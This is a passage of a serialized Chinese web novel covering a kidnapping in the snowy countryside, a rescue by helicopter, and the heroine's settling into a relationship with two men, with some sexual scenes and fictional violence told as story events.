路上,姜父仰头看着天,有些感慨地说道:“这雪真是越来越大了,今年肯定是个丰年。” 姜渔忍不住问道:“姥爷,还有多久能到啊?” 昨天她还兴奋于能见到如此壮观的雪景,但现在,被狂风暴雪摧残了这么长时间后,姜渔实在有点遭不住了。 “马上就到咱家的坟头了,再忍忍。” 又过了不知道多久,他们终于抵达了目的地。 姜以柔特意打量了一下那座坟,很快就发现了所谓的被野生动物撞坏的那一块。 姜以柔盯着那块缺损陷入了沉思,不由得问道:“这是什么动物弄出来的?” 姜父直接开始填土修补,头也不抬地答道:“不知道,看这缺口,像是个大家伙,不过按理说冬天不会有这么大的动物了……” 姜母随口应道:“这事儿哪说得准呢?总不能是人为的吧,谁这么缺德啊?” 修补好坟包之后,姜父姜母开始熟练地去除杂草、擦拭墓碑,摆上特意带来的好酒好肉做贡品,然后就一边烧着纸钱,一边絮絮叨叨地说着话。 姜以柔和姜渔都祭拜了一下,然后便在旁边安静地看着,方镜麒则一直陪着他们。 就在带来的纸钱快烧光时,不远处突然传来一声呼喊。 来人是个硬朗瘦削的老头,一脸震惊地看着姜父和姜母,“你们咋回来了?” 姜父姜母见到故人之后,都很激动,笑着跟人打招呼。他们把这些年的经历简单说了一下,对方连声感慨道:“你们终于也是过上好日子了,这就好,这就好!” 姜母一脸骄傲地说道:“谁让我闺女有出息了呢!” 三个老人立在坟头便聊了起来,说着说着便提到了姜以柔的“亡夫”——林维刚。 老人感慨地说道:“当年,维刚死了的消息刚传回来时,他爹妈差点把眼睛哭瞎,很快就不行了……” “村里人一起凑钱给他们葬了,那个坟就比较简陋,但过了几年,突然有人来给他们修坟,修的那叫一个气派……” “对了,我前两天上山,刚看到他们的坟上有贡品,估计是刚有人回来祭拜过,就是不知道是谁。” 姜父姜母都愣住了,姜以柔和姜渔对视一眼,并不觉得意外。 她们都知道,林维刚并没有死,而是化名为林松齐去当豪门赘婿了。这坟大概就是他修的吧。 姜以柔自以为知道内情,却没想到,老人接下来的一句话又让她愣住了。 “而且我听村长说,老林家那族谱前几年也修过了,维刚咋多了个儿子呢,你们知道咋回事不?” 姜以柔皱了皱眉头,一直兴致缺缺的她立刻上前,追问道:“林维刚有儿子?是谁?” 老人想了想,迟疑地说道:“我之前看了眼,好像叫林承来着……” 林承? 姜以柔愣住了。几乎是瞬间,她便想起了那个叫赵承的孩子,也就是赵文泽的儿子,书里的男二号。 除了姓氏不同,他们的名字是一样的……难道是巧合吗? 姜以柔皱着眉头思索良久,脑海中闪过诸多猜测,却得不到证实。 算了,反正林松齐已经翻不起浪花了,这些都无所谓了。 思索无果后,姜以柔便把这件事情抛到了脑后。 上完坟之后,一行人便开始下山,等回了家之后,仿佛整个人都被呼啸的北风吹透了,暖和了许久才缓过来。 “明天就回去吧。”姜以柔坚定地说道。 她实在受不了这艰苦的条件了,她宁愿回去继续跟方隐年“斗智斗勇”,也不想在这山沟沟里呆下去。 当晚,姜以柔躺在炕上,再次遭到了方镜麒的“偷袭”。 感受着少年人结实而灼热的身躯,姜以柔咬牙切齿地说道:“方镜麒,你就不能消停点儿吗?” 昨晚已经来过一回了,白天又刚爬了山,他哪里来的这么多精力?! 方镜麒不说话,只喘着粗气抓过她的手,目标明确地往身下按。 姜以柔拗不过他,又怕挣扎太过吵醒了隔壁房间的家人,只能忍着怒气帮他纾解。 中途,姜以柔正忍不住抱怨手腕很酸的时候,突然嗅到了一股奇特的香气。 “喂,你有没有闻到什么味道?”姜以柔推了推方镜麒,低声询问道。 方镜麒哪有功夫思考她的问题,只衔住她胸口软肉轻轻啃咬着。 姜以柔正想再问一遍的时候,下一秒,方镜麒突然脱了力一般,整个人压在她身上,再也没有半点动静。 姜以柔吓了一跳,正想起身查看他的情况,可紧接着一股眩晕感涌上,她眼前一黑,同样失去了意识。《 》 第121章【VIP】 第121章 当姜以柔再次恢复意识时, 第一时间感受到的就是种头昏脑涨的恶心感。 她鼻腔里仿佛还残留着昏迷前闻到的那股诡异的香气,这让她有种晕眩想吐的冲动。 此外,她一直处于颠簸摇晃的状态中, 这份晃动加重了她的不适感。 姜以柔想要抬手揉一揉额角,结果却发现自己的手被绑缚在了身后,完全动不了。 她心里一惊, 立刻清醒了不少, 赶紧睁开眼睛警惕地打量着周围。 然后她便发现,此时她正躺在一辆破旧的面包车的座椅上, 手脚都被结实的麻绳捆住了。 姜以柔立刻便意识到了现在的情况——她被绑架了?! 姜以柔第一时间朝驾驶座上看去,却看到了一个意料之外的人。 “林松齐?!”姜以柔皱眉盯着驾驶座上的人,面上浮起明显的厌恶。 驾驶座上那个头发凌乱、胡子拉碴的落拓男人, 竟然是许久未见的林松齐! 他不是刚被方隐年和谢凛联手搞破产了吗?这条丧家之犬竟然胆子大到来绑架她? 姜以柔试着挣了挣被缚住的手腕, 可除了皮肤磨得很痛之外毫无作用,她深吸一口气,尽量平静地说道:“林松齐,你到底想做什么?” 正在开车的林松齐透过后视镜盯着她, 眼神里是深情与痛苦, 近乎疯狂:“我说过了,既然十几年的汲汲营营终成幻影,那么……回到最初也未尝不可。” “以柔, 我想回到十几年前,我们刚刚相爱的时候, 就我们两个人, 不对,现在还有了小渔……我们一家三口,好好地生活, 哪怕没有钱也无所谓……” 闻言,姜以柔脸色阴沉,气得差点破口大骂。 什么叫没有钱也无所谓? 她可不能没有钱!而且必须得要多多的钱! 再说了,谁要回收这种垃圾渣男啊?! 姜以柔很想骂他,但如今人为刀俎我为鱼肉,碍于情势所迫,她勉强扯起一个笑容,说道:“林松齐,过去的事都过去了,我们还是各自安好吧。” “你放我回去,我可以当这件事没发生过,还可以给你一大笔钱,让你东山再起……”姜以柔软和下声音,试图利诱林松齐。 林松齐闻言沉默许久,随即古怪地笑了一下,哑声道:“以柔,你以后还是叫我维刚吧。” 林松齐顾左右而言他,却让姜以柔的心瞬间沉了下去。 林松齐连自己后来改的名字都舍弃了,要变回原来那个山村穷小子“林维刚”,看来是打定主意要跟她“回到从前”了…… 姜以柔深吸一口气,努力让自己镇定下来,开始思索该如何逃出去。 她不动声色地环视四周,然后便发现了在座椅另一侧,躺着她的便宜女儿姜渔。 姜渔同样被绑住了手脚,似乎也才刚醒没多久,正瞪着眼睛一脸惊恐的模样,与她对上视线后,小姑娘的大眼睛里瞬间涌出泪水。 姜渔死死咬着唇,不敢哭出声,只悄悄地往姜以柔身边靠了靠,似乎想从她的身上汲取安慰。 姜以柔低声说了句“别怕”,再次环视周围,很快又看到了方镜麒。 比起她和姜渔能躺在座椅上的待遇,方镜麒是直接被扔在座椅下,方大少依然处于昏迷中,躺在下面一动不动。 姜以柔的神色不由得有些复杂。 她记得两人昏迷之前,正在胡闹呢,她手里甚至还握着方镜麒硬挺的东西…… 现在再看方镜麒,他的衣物倒是穿得好好的。 幸亏方大少爷穿好了裤子,不然这么冷的天气,要是一直晾在外面,大少爷的小少爷该冻坏了。 姜以柔不动声色地观察了下他们的情况,发现很不乐观。 他们被绑过来时,都快要入睡了,因为冬天睡在火炕上,所以穿得比较薄,现在直接被绑来扔进车里,连个外套都没穿。 虽说车里开着空调,而林松齐还算有良心,给她和姜渔的身上各自盖了条厚毯子,可是方大少就没那么好的待遇了。 他穿得薄,又是躺在车子的脚垫上,昏迷不醒的状态下,很容易冻伤。 姜以柔皱起眉头,有些紧张地问道:“方镜麒怎么还没醒?你对他做了什么?” 林松齐眼神骤冷,嗤笑一声道:“多给他加了点儿迷药而已,死不了。” 这三个人里,只有人高马大的方镜麒能对他造成威胁,所以他不得不防,给他加重了点儿迷药的用量。 姜以柔立刻回想起昏迷之前,闻到的那股诡异的香气,看来那就是迷药了。 但姜以柔有件事百思不得其解,“你怎么知道我们回老家了?” 怎么就那么巧,他们回老家的第二个晚上,林松齐就突然出现把他们一网打尽了? 这时,靠在她身上的姜渔小声说道:“修坟。” 姜以柔微微一愣,瞬间灵光一闪,眯着眼睛问道:“我们家的坟……是你故意弄坏的?” 为的就是引他们回老家? 林松齐轻轻一笑,淡声道:“其实我也不确定,你们会不会回来修坟,甚至也不确定,你父母会不会带你一起回来……好在,上天是眷顾我的。” “看来,他也想让我们再续前缘。”林松齐喉间发出一串诡异的笑声,甚是吓人。 姜以柔一时无言,她实在没想到,只是心血来潮地想回老家玩玩,却一脚踏入了林松齐的陷阱。 这时,姜以柔注意到,躺在脚垫上的方镜麒呼吸有些急促,脸色也泛着不自然的潮红。 姜以柔心里一紧,猜到他可能是冻得发烧了,便赶紧说道:“喂,停车,方镜麒状态不对,得赶紧看医生。” 林松齐面无表情地继续开车,丝毫不管方镜麒的死活。 姜以柔强压下心底的火气,温声劝道:“林……维刚,如果你想我们一家三口一起生活,那有我和小渔不就够了吗?你把方镜麒带来做什么?” 林松齐握着方向盘的手紧了紧,嗓音阴冷地说道:“这个小畜生竟然敢对你……” 一想到闯进他们屋里时,看到的方镜麒和姜以柔那亲密的姿态,林松齐就恨不得立刻杀了方镜麒,他冷笑一声道:“等到了更荒凉的地方,我会直接把这小子扔进山沟里,就当是回敬这姓方的叔侄俩了。” 林松齐恶狠狠地咬牙,眼里闪动着浓烈的恶意。 方隐年搞垮了他的公司,而方家叔侄俩都和姜以柔不清不楚……林松齐简直恨不得喝他们的血肉,只想倾尽一切报复他们。 姜以柔听到这话,面色瞬间沉了下来。 难怪林松齐还顺便绑走了方镜麒,原来是想杀人灭口…… 她心脏狂跳,甚至有点喘不过气来的感觉,而靠在她身上的姜渔也在不停地发抖,眼里全是惊恐。 姜以柔沉默片刻,又问:“那我父母呢?” 他们三个都被林松齐掳来了,却不见她父母的身影……姜以柔心里一沉,生怕他们遭到毒手。 林松齐平静地说道:“他们应该还在家里睡觉吧。” “毕竟是岳父岳母,我还不至于那么狠心,我也不想你恨我。”林松齐轻笑一声,“不过,你别指望他们报警救你们了,我敢保证,哪怕他们报了警,也没人救得了你们。” 姜以柔强迫自己镇定下来,借着身上毛毯的遮掩,姿势别扭地在身上摸索着,想找出手机。可惜的是林松齐早有准备,她找不到自己的手机了。 姜以柔看向车窗外,太阳刚刚升起,晨曦透过车窗照射进来,然而外面依旧大雪纷飞,哪怕是阳光洒落在身上,也感受不到什么暖意。 姜以柔回想了下他们入睡的时间,又推测了下北方这边出太阳的时间,算出林松齐大概趁着夜色开了六七个小时的车了,这么说来,应该离他们的老家已经很远了。 姜以柔心里一沉,对未知的恐惧蓦地席卷了她。 林松齐到底要把他们带去哪里啊?该不会真要在一个荒无人烟的山沟里过苦日子吧? 姜以柔越想越焦虑,开始偷偷用脚去踢方镜麒,试图把他弄醒。 方镜麒再怎么说也是个人高马大的年轻男人,有他帮忙的话,他们逃出去的可能性会大一点儿。 这时,前面传来林松齐幽幽的声音:“他醒不过来的,别做梦了。” 姜以柔身体一僵,沉着脸一言不发。 在颠簸的车上,姜以柔完全失去了对时间的概念,但随着车窗外的景色越来越荒凉,她的心情也越来越惶恐。 过了不知道多久,车子突然剧烈地晃动了一下,然后便传来引擎熄火的声音。 林松齐面色骤沉,猛地拍了下方向盘,暗骂了一声。 随即他开门下车,在车子附近检查起来。 过了一会儿,他一把拉开后座的车门,呼啸的寒风夹杂着雪花立刻飘了进来,姜以柔冷得一颤。 林松齐伸手便要来拉姜以柔,说道:“车坏了,反正快到了,我们走过去。” 姜以柔立刻挥开他的手,面上难掩嫌恶之色。 姜渔虽然紧张得直咽口水,但还是努力挡在姜以柔面前,愤怒地瞪着林松齐,试图用眼神警告他。 林松齐愣了一瞬,突然就被母女俩厌恶的神色激怒了,他狰狞着脸色大喊道:“我是你的丈夫,是你的父亲,为什么要用那种眼神看我?!” “我只有你们了……”林松齐神色癫狂地想去抓她们。 姜以柔还没来得及反应,姜渔就一声尖叫,抬腿重重地踹上了他的胸口。 姜渔的手脚都被绑了,但她就像条鱼似的挣扎着,踹向林松齐的力道毫不留情。 林松齐捂着胸口后退一步,眼神阴鸷地盯着她。 良久,他默默地移开视线,恶狠狠地看向下面的方镜麒。 他舍不得伤害自己的妻女,可他满腔的怒火实在需要一个宣泄口,便盯上了方镜麒。 他俯身一把抓住方镜麒的脚腕,用力将人往外拖,似乎要践行自己的话,把人直接扔在荒山野岭里冻死。 姜以柔瞬间紧张起来,这么冷的天,如果方镜麒只穿着单衣呆在外面,时间长了真要出问题的。 她用力挣扎起来,可除了手腕上传来阵阵刺痛,根本无济于事。 就在林松齐将方镜麒拖出车外的一瞬间,变故陡然发生。 一直昏迷的方镜麒猛地睁开眼睛,那双狭长的凤眸凌厉而锋锐,不见丝毫迷惘。 他像是一直在等一个爆发的机会,像只矫捷的猎豹一般猛地扑了上去,一拳重重击在林松齐的太阳穴上。 方镜麒这一拳用了全力,林松齐瞬间就翻着白眼倒了下去。 姜以柔愣愣地看着这突如其来的反转,不等他反应,方镜麒便软倒在了地上,他英俊的脸上泛着不正常的潮红,呼吸声格外粗重,似乎很痛苦的样子。 姜以柔还没来得及开心,就担忧地问道:“方镜麒,你没事吧?” 方镜麒扶着车门,晃晃悠悠地站起身来,俯身帮他们解绳子。明明天气很冷,他又穿着单衣,但他额头上却一直在冒冷汗。 姜以柔忍不住问道:“你什么时候醒的?” 林松齐不是说,特意给方镜麒加大了迷药剂量吗?而方镜麒全程也没有丝毫反应,像是一直在昏迷,可谁能想到他刚才突然暴起伤人。 方镜麒用力解着两人手脚上的绳子,低声开口道:“你踢我的时候就醒了,但我怕他有防备,就一直没动。” 他的嗓音格外嘶哑,像是被砂纸磨过一般,话音刚落就止不住地咳了起来。 姜以柔仍有些不敢置信,“可是……他应该也把你绑起来了吧?你怎么挣开的?” 方镜麒漫不经心地说道:“我连手铐都能弄开,绳子又算什么。” 说话间,他已经解开了姜以柔的手脚,一把将她扯进了怀里,紧紧抱着她,闷声问道:“你没事吧?” 姜以柔看到了他手腕处的血痕,那里原本就被手铐伤到了,如今旧伤添新伤,看着很是触目惊心。 姜以柔有点心疼地皱了皱眉,紧接着就发现,方镜麒的体温有点不对劲。 她从方镜麒的怀中挣脱开,抬手摸了摸他的额头,顿时一惊,“你发烧了!” 方镜麒本来就吸入了大剂量的迷药,又被扔在车上冻了一整晚,现在明显是发高烧了,情况看起来很不乐观。 方镜麒把脑袋埋进姜以柔的胸口,他呼出的气息像是火在燃烧,烫得惊人。他紧紧皱着眉头,看上去很难受,但还是低声安慰道:“我没事。” 姜以柔深吸一口气,拍了拍他的肩膀,温声鼓励道:“忍一忍,马上送你去医院。” 姜以柔让方镜麒在旁边等一会儿,自己则转过身,继续帮姜渔解开手脚上的绳子。 姜渔看上去还有些惊魂未定,迟疑地问道:“我们这是……没事了吗?” 姜以柔低着头专注地解绳子,温声安抚道:“嗯,没事了……” 她话音未落,姜渔突然一脸惊恐地望着她的身后,高声喊道:“小心!” 姜以柔悚然一惊,立刻回身看去,只见林松齐摇摇晃晃地站起身来,他眼眸充血,脸色狰狞得像只恶鬼,猛地扑了上来。 而且,他手中寒光一闪,竟然握着一把刀。 可能是因为方镜麒生病了状态不佳,所以那一拳力道不太够,只让林松齐晕了一会儿,现在他又醒过来了。 林松齐握着刀扑向方镜麒,当方镜麒发现不对劲时,立刻偏身躲开。 只是发高烧的他多少有些行动迟缓,还是被林松齐在胸口靠近锁骨的地方重重划了一刀,鲜血瞬间溢出,染红了他的衣服。 方镜麒眸色骤厉,一把抓住了他拿刀的手腕,跟他扭打起来。 两人从车上翻滚到雪地里,飞雪四溅,还有鲜红的血液蔓延,在满地雪白上显得格外触目惊心。 林松齐本就没比方镜麒矮多少,还常年健身保持身材,最关键的是方大少此时浑身是伤,胸口处的刀伤还在不停地流血,几番缠斗之下,两人竟一时间分不出胜负。 一切都发生在电光火石间,姜以柔被这突如其来的意外吓到了,一时间都没反应过来。 就在这时,旁边的姜渔猛地窜了出去。 姜渔穿着单衣就下了车,她也不怕冷,咬着牙四处张望着,很快就锁定了刚才林松齐修车时,随手扔在地上的扳手。 姜渔没有丝毫犹豫,一把抓起扳手冲到扭打的两人面前,看准时间猛地敲在了林松齐的后脑上。 “砰”的一声,血花四溅,林松齐的脑袋破了个洞,这下再也没有意外,他瞬间软倒在了雪地里。 这一瞬间,全世界都安静了。 方镜麒怔怔地看着躺在雪地里生死不知的林松齐,又抬眼看看握着扳手的姜渔,眼神十分复杂。 车里的姜以柔也傻眼了,万万没想到便宜闺女出手如此果决。 姜渔脸色苍白,死死盯着地面上的林松齐,眼里充斥着厌恶与恨意,过了好一会儿,她才慢慢意识到自己做了什么,神情一时间有些茫然。 姜渔手一松,扳手瞬间砸在了地面上,她定定地看着地上不知生死的男人,心里涌上些惶恐,但更多的,是一种解脱的感觉。 姜以柔看着这一幕愣住了,久久回不过神。 良久,她连忙冲出去,一把抱住姜渔,摸着她的脑袋安慰道:“别怕,别怕,你这是正当防卫……” 林松齐的死活倒是无所谓,但她担心姜渔会因此而留下心理阴影。 姜渔的嘴唇惨白而毫无血色,但她却强撑着对姜以柔露出一个笑容:“放心吧,我没事。” 姜以柔还想再关心她几句,很快又听到方镜麒有些痛苦的呻吟。 她又连忙扶起方镜麒,担心地问道:“镜麒,你怎么样?” 方大少鲜少有如此狼狈的时刻,胸口的刀伤在一直流血,手腕上是被麻绳磨得血肉模糊的痕迹,他浑身无力地靠在姜以柔怀里,看上去似乎要烧糊涂了。 姜以柔咬了咬牙,和姜渔一起把他扶上了车,用衣服帮他按住了流血的伤口。 方镜麒的伤必须尽快去医院处理,她们便开始寻找离开这荒郊野岭的方法。 她和姜渔一通翻找后,两人相视一眼,面上都有些绝望。 现在,车子坏了不能开,手机又不知道被林松齐扔到哪里去了,根本没法联系外界。 她们甚至忍着恶心在林松齐身上摸索了一番,却依旧找不到一部手机。 姜以柔想过走路去寻求帮助,然而这漫天大雪,他们连件厚外套都没有,方镜麒更是烧得几乎神志不清。 再加上他们根本不认路,如果贸然离开车子,恐怕走不了多久就一起冻死了。 可即便呆在车子里不出去,大概也撑不了多久。 姜渔咬了咬牙,沉声道:“妈,你在车里陪着方镜麒,我出去看看能不能找到人。” 说着她便要下车。 姜以柔猛地将她拽回来,厉声喝道:“你疯了?不许去!” 这么冷的天,她怎么可能任凭姜渔一个人去这荒郊野岭里探路?太危险了! 姜以柔想了想,很快做了决定,说道:“等吧。” “你姥姥姥爷醒得早,现在应该已经发现我们都失踪了,肯定会报警,我们就等待救援吧……” 事已至此,也只能寄希望于此了。 三人缩在车后座,沉默地等待着。 方镜麒脸颊通红,眼神都快没有焦距了,他干涩的唇轻轻开合,似乎在说些什么。 姜以柔连忙俯身将耳朵凑过去,认真倾听,然后就听到方大少在用很小的声音说: “姜以柔……我想……亲你……” 姜以柔:“……” 姜以柔都无奈了,这都什么时候了,他竟然还想着这些?! 姜以柔摸了摸他的脑袋,温声哄道:“你再坚持一下,等我们获救了,我就亲你。” 然而,方镜麒却努力瞪大了眼睛,紧紧盯着她嫣红的唇瓣,断断续续地说道:“现在……现在就要。” 方镜麒明明已经跟姜以柔有过很亲密的接触了,但直到现在,两人都没有接过吻。 每当他想凑过去吻她的唇时,姜以柔总会把脸扭开,或者把他的脑袋往下按。 方镜麒对此耿耿于怀,总觉得姜以柔不亲他,还是在嫌弃他年纪小。 现在,他有种自己要死了的预感。 如果不能在死之前亲她一口,方镜麒死不瞑目。 迎着方镜麒湿漉漉的执拗眼神,姜以柔终究是心软了。 她俯下身,温柔地吻上了那双毫无血色的薄唇。 这是他们之间第一个真正意义上的吻。 方镜麒的眼睛骤然亮了起来,但他甚至都没有力气去回应她了。 他感到很满足,又有种不甘的遗憾。 他还没有跟姜以柔真刀真枪地做过呢…… 早知道昨晚就不应该放过她。 方镜麒只觉得眼皮越来越重,整个人却轻飘飘的,眼看着就要昏过去。 姜以柔心里一紧,连忙附在他耳边低声道:“镜麒,不许睡,坚持一下。” 姜以柔咬了咬牙,小声说道:“等我们安全了,你想干什么都依你……” 方镜麒耳朵微动,似乎听到了姜以柔的话,他眼皮微颤,很想睁开眼睛,可最后还是慢慢地失去了意识。 姜以柔一手揽着方镜麒,另一只手揽着姜渔,她冻得浑身僵硬,第一次有种很绝望的感觉。 车子坏了,没法再开空调,他们在车里仍旧能感受到外界的寒冷,不知道熬了多久,姜以柔的意识也有些模糊了。 就在这时,她突然听到了一阵奇怪的声音,轰隆隆的,由远及近,震得她耳膜都有些痛。 姜渔吸了吸鼻涕,强撑着往车窗外望去,下一秒震惊地瞪大了眼睛: “妈,有直升机!” 一辆直升机在不远处降落,卷起一地风雪。 两个男人先后从直升机上跳了下来,竟然是方隐年和谢凛。 素来水火不容的两个人,竟然罕见地一起行动了。 他们的脸色一个比一个难看,根本顾不得形象,齐齐朝他们奔来。 车门被猛地拽开,姜以柔只觉得身体一轻,下一秒便落进了一个熟悉的怀抱中,温暖、宽厚,极有安全感。 对方的手臂不断收紧,像是恨不得将她融进骨血中,沙哑的声音中带着痛苦: “以柔……” 姜以柔艰难地睁开眼睛,竟然看到了谢凛的脸。 谢凛瘦了很多,他眼下青黑,简直像个颓丧的恶鬼。他死死盯着姜以柔,幽深的黑眸竟有些湿润,满是心疼。 姜以柔恢复了些神智,有些惊讶地看着他,轻笑着问道:“你……不生气了?” 谢凛什么都没说,只用力抱紧了她。 恍惚间,姜以柔感觉脸上一热,像是有雨滴落在她脸上,只是那雨滴是滚烫的。 谢凛抱紧她,痛苦地闭上了眼睛。 他用这么多天的逃避认清了一个事实——他根本就放不下她。 而姜以柔这次遇险,几乎将他吓得魂飞魄散。 现在,对谢凛来说,只要姜以柔能好好的,他什么都可以不在乎。 这时,有人拍了拍他的肩膀,是方隐年。 方隐年紧绷的面色在亲眼看到姜以柔时,稍微缓和了一些。他随即对谢凛说道:“赶紧送她上飞机。” 谢凛轻轻应了一声,一把将姜以柔抱起。 谢凛抱着她走了几步,突然顿住脚步,回身定定地望向方隐年,轻声说道:“剩下的事交给你了。” 说着,他意有所指地扫了眼地上生死不知的林松齐。 方隐年冲他点了点头,平静地说道:“放心。” 这一幕有点奇怪,因为这两个男人从未这般和颜悦色地说过话。 像是心照不宣地达成了某种共识。 目送谢凛抱走姜以柔之后,方隐年返身回到车上,无奈地看着自己的侄子。 方隐年盯着他身上的伤,脸色沉了几分,狭长的凤眸中显出几分心疼。 “傻小子。”方隐年妥协般叹了口气,俯身扶起了自家侄子。 挨了冻的三个人很快就通过直升机转移到了附近的大医院,接受到了最好的治疗。 中途,姜以柔清醒了一次。 她正被谢凛抱在怀里,一见她睁眼,谢凛温柔的吻便落在了她的眉心,充满安抚意味: “别怕,没事的。” 姜以柔张了张嘴,想说些什么。 谢凛似乎明白他心中所想,温声道:“方镜麒和小渔也都没事,别担心。” 像是在回应她的担心,姜以柔的手被人轻轻握住,她转头望过去,正对上便宜闺女亮晶晶的目光。 姜渔看着她,露出一个大大的笑容。 书里那个阴郁恶毒的女配,从来没有过如此纯粹的笑容。 这下,姜以柔终于彻底放下心来。 她缩在谢凛的怀中,安全感十足,沉沉地睡去之前,她看到了灿烂的朝阳,有些刺眼,但让人感觉到温暖和希望。 迷迷糊糊中,脑海里似乎响起了666活泼的嗓音: “恭喜宿主,恶毒女配姜渔的黑化值已经清零!您的任务已经圆满完成,接下来……” “请尽情享受您在这个世界的新生!祝您生活愉快、日日幸福!”《 》 第122章【终章】 第122章 姜以柔再次睁开眼时, 入目便是雪白的天花板,她还没来得及从混沌中清醒,便听到有人急切地唤她: “以柔!” 姜以柔愣愣地转头看去, 下一秒便对上了一双熟悉的黑眸,正是谢凛。 他消瘦了许多,发丝凌乱, 连胡茬都没来得及刮, 看上去有些狼狈,那双狭长凌厉的黑眸中布满了红血丝, 不知道有多久未曾合眼过。 此时,谢凛正死死盯着她,甚至都舍不得眨一下眼, 仿佛生怕她会突然消失似的。 他紧紧抓着那只柔弱无骨的手, 不断地用力收紧,像是一辈子都不会放开。 姜以柔怔怔地看着他良久,茫然的眼神慢慢聚焦,一点点亮了起来。 “谢凛……”姜以柔轻声喊道。 原来, 她昏迷前见到的谢凛, 并不是错觉。 他真的来救她了。 姜以柔一回想起先前被绑架的经历,仍有些心有余悸。 她抿唇盯着谢凛,眼睛有些湿润, 盛满了委屈,像是在控诉他没有保护好自己。 迎着她的目光, 谢凛心疼得几乎喘不过气。自责、愧疚以及差点失去她的后怕, 像一柄淬了毒的利刃,狠狠穿透了他的心,翻搅着带出血肉。 谢凛将她的手放到唇边, 侧头轻吻着她的掌心,哑声安抚道:“别怕,我再也不会离开你了。” 这辈子只要他还能喘气,任何都别想再伤害姜以柔分毫。 姜以柔的掌心被他下巴上的胡茬扎得有些痛,不由得蜷了蜷手指,那颗惶惶不安的心却因此而彻底安定下来。 果然,谢凛总是最能带给她安全感的那个人。 姜以柔轻轻笑了笑,有些娇嗔地问道:“你不生气了?” 姜以柔紧紧盯着谢凛的脸色,等待他的回答。 她没做什么“以后再也不找别人”的承诺,因为他们俩都心知肚明—— 她做不到。 甚至不止方隐年,以后还不一定会有多少人,全看姜以柔的心情。 闻言,谢凛神情微敛,一时间沉默了。 姜以柔也不催促,只静静地等待他的回答。她神色很平静,仿佛无论谢凛的答案是什么,她都可以接受。 良久,谢凛微微叹了口气,那叹息声轻如羽毛,蕴着无奈的妥协。 谢凛俯身在她额心印下一个吻,温柔而珍重,说道:“我只要你身边永远有我的位置。” 姜以柔眼睛一亮,不自觉露出一个甜笑,说道:“当然。” 她用力回握住谢凛的大手,承诺般认真道:“你在我心里永远是第一位的。” 闻言,谢凛神情微动,定定地看着她,眼里涌动着莫名的情绪。 他们深深地对视着,虽然没有说话,但仿佛已经说了千言万语。 就在两人之间的氛围越发缠绵之时,病房门口处突然传来一声轻响。 两人同时转头望过去,只见方隐年正站在病房门口,静静地看着他们,一双凤眸清冽如寒潭,不知道在想什么。 也不知道他在门口听到了多少。 见两人终于注意到了自己,方隐年便施施然踱步走进来。 他侧身坐在病床边,轻轻握住了姜以柔的另外一只手,温声问道:“醒了?还有哪里不舒服吗?” 姜以柔没有立刻回答他的问题,而是垂眸瞥了眼两人交握的手,然后……又不动声色地看向谢凛,神情略有些紧张,像是生怕两人一言不合又动手。 然而,出乎她意料的是,谢凛只是瞥了眼两人交握的手掌,便若无其事般移开了视线。 如果不是姜以柔明显感觉到,谢凛握着自己的手更用力了些,还真以为他完全不在意了呢。 她正打量谢凛的神色呢,就觉得手指被人轻轻捏了下。 她转头看向方隐年,对方正似笑非笑地盯着她,淡声道:“多少也看我一眼吧。” 方隐年忍了又忍,也只说出这么一句话,酸气四溢。 姜以柔眨了眨眼睛,说道:“我没什么事。” 话说到此,姜以柔突然想起了什么,立刻问道:“小渔和镜麒怎么样了?” 方隐年帮她掖了掖被角,温声道:“放心,小渔早就活蹦乱跳了,一会儿我让她来看你。” “镜麒……”方隐年眼神微沉,顿了顿继续道,“他需要多修养几天。” 姜以柔一听就知道,方镜麒估计伤势不轻,当即便起身说道:“我去看看他。” 谢凛和方隐年同时按住她的肩膀,强硬地让她躺回原处,说道:“你也需要修养。” 在两人的要求下,姜以柔只能躺回去,等身体好一点再去探望方镜麒。 不过,方隐年肯定会给侄子找最好的医疗团队,他应该不会有大碍的。 这时,姜以柔又想起了另一个人,有些迟疑地问道:“那林松齐……” 一提及这个名字,方隐年和谢凛瞬间阴沉了面色,眸中几乎掠起杀意。 谢凛冷声道:“他没死。” 方隐年淡淡地补充道:“我会让人在牢里好好关照他的。” 说实话,听到林松齐没有死,姜以柔是很意外的,果然祸害遗千年啊。 不过她很快又松了口气——没死也好,小渔就不用背负弑父的压力了。 哪怕林松齐本就是个该死的人渣,但姜渔不该为此而影响自己。 姜以柔又随口问道:“所以,你们当时是怎么找到我的?” 那样的荒郊野岭,也难为他们能及时赶到。 方隐年深深地看了她一眼,说道:“是一个叫赵承的孩子告诉我的。” “赵承?”姜以柔愣住了。 谢凛随即解释道:“其实他应该叫林承,因为他是林松齐的私生子。” 姜以柔从两人口中了解到,赵承的身世可以说是林松齐最大的秘密。 当年,林松齐哪怕入赘了乐家,但他骨子里是个传统的男人,不甘心一辈子没有自己的儿子,便在外找情人生了一个。 只是乐婉儿的父亲分外强势,对这个上门女婿盯得很紧,林松齐怕露馅,便跟赵文泽狼狈为奸、达成了合作。 林松齐许给赵文泽重利,让赵文泽帮他养儿子,只等着以后他掌权了,再让儿子认祖归宗。 这番操作竟然生生瞒了十几年,没有任何人发现。 前不久,林松齐破产,他便以赵承的身份为筹码,从他那里要了一大笔钱,打算带着姜以柔远走高飞。 赵承前脚满足了他亲生父亲的要求,后脚就给方隐年通风报信了。 方隐年说道:“那孩子还算聪明,他已经主动脱离了赵家,出国去了,这辈子都不会再回来。” 姜以柔满脸呆愣,许久都没有回神。这一刻,很多疑惑都有了答案。 难怪原书里,林松齐竭力撮合乐柠和赵承呢,让继女嫁给自己的亲儿子,说到底还是为了乐家的财产! 林松齐这个人,真的太恶心了。 “好了,别管这些了,安心休息。”谢凛摸了摸她的脑袋,温声说道。 姜以柔也确实精神不济,只是跟他们说了会儿话,便又昏昏沉沉的了。 在谢凛温柔的注视下,她很快就睡了过去。 病房里一时间安静下来,针落可闻。 谢凛和方隐年对视一眼,两人很快就同时移开了视线。 他们的面色都算不上好看,望向对方的眼神里也满是警惕,始终是水火不容的状态。 只是,他们终究愿意为了姜以柔收敛锋芒,和谐共处。 * 三天之后,姜以柔出院了。 她彻底过上了梦寐以求的生活。 谢凛和方隐年一起供给她堪称奢靡的物质条件,任何东西都是手到擒来。 最关键的是,这两个男人似乎达成了什么诡异的默契,今天你来,明天我来,基本上不会撞在一起。 三个人就在这种微妙的平衡下共同相处着。 就是姜以柔感觉有点肾虚…… 大概是为了防止姜以柔再去找别的男人,方隐年和谢凛基本上瓜分了她的所有时间,让她再也没有精力去应付其他男人。 其中也包括方镜麒。 